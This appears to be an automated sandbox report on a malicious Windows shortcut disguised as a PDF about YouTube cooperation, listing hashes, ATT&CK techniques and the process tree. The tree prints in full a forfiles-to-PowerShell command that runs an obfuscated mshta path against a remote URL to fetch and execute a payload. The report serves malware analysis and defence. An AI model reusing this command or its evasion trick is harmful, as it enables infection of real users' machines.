8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/10/2024, 12:15

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General

Target
Agreement for YouTube cooperation.pdf.lnk.download.lnk
Size 1KB
Sample241025-pexcyayfpf
SHA256 8ea35c2bfdf4cad1197abadd19f4f0e09579afcfdb32abc7e71bb5818c6d3ba6
MD5 90de1044962e092ea916ae08649227ba
SHA1 a2fafd3d9e2b224205d6a3ae529416d33be68b2e
SHA512 1b2d37a8615904f074def78a06dbed15d38dc455eb5a715002a5e93c28520154f506d7ea6f150e915ca1bda0564d358635314e9022a170efee2ada168ff19890
MD5 SHA1 SHA512

Score

7^/10

defense_evasion

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2888	forfiles.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 2888	2588	cmd.exe	31
PID 2588 wrote to memory of 2888	2588	cmd.exe	31
PID 2588 wrote to memory of 2888	2588	cmd.exe	31
PID 2888 wrote to memory of 2740	2888	forfiles.exe	32
PID 2888 wrote to memory of 2740	2888	forfiles.exe	32
PID 2888 wrote to memory of 2740	2888	forfiles.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Agreement for YouTube cooperation.pdf.lnk.download.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows /m notep*.exe /c "powershell Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json"
  2⤵
  - Indirect Command Execution
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Start-Process \*i*\*2\msh*e https://ctu.timeless-tales.shop/api/uz/0912545164/CharcoalWharf.json
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2740-40-0x000007FEF67FE000-0x000007FEF67FF000-memory.dmp

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memory/2740-43-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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memory/2740-42-0x0000000002860000-0x0000000002868000-memory.dmp

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memory/2740-41-0x000000001B590000-0x000000001B872000-memory.dmp

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memory/2740-46-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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memory/2740-45-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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memory/2740-44-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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memory/2740-47-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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memory/2740-48-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

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